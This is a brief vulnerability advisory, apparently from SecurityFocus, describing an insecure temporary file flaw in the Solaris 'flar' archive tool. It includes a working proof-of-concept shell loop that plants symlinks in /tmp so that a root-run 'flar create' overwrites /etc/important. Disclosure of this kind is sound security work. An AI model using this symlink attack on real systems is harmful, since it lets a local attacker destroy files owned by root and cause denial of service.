source: https://www.securityfocus.com/bid/41619/info
Oracle Solaris is prone to an insecure temporary file creation vulnerability.
A local attacker can exploit this issue to overwrite arbitrary files with the privileges of the affected process. This will likely result in denial-of-service conditions, other attacks may also be possible.
Oracle Solaris 8, 9 and 10 are vulnerable.
$ x=0
$ while [ "$x" -le 30000 ];do
> ln -s /etc/important /tmp/.flash_filter_one_.$x
> x=$(expr "$x" + 1)
> done
Later, when root creates a flash archive with:
# flar create -n junk `pwd`/junk.flar
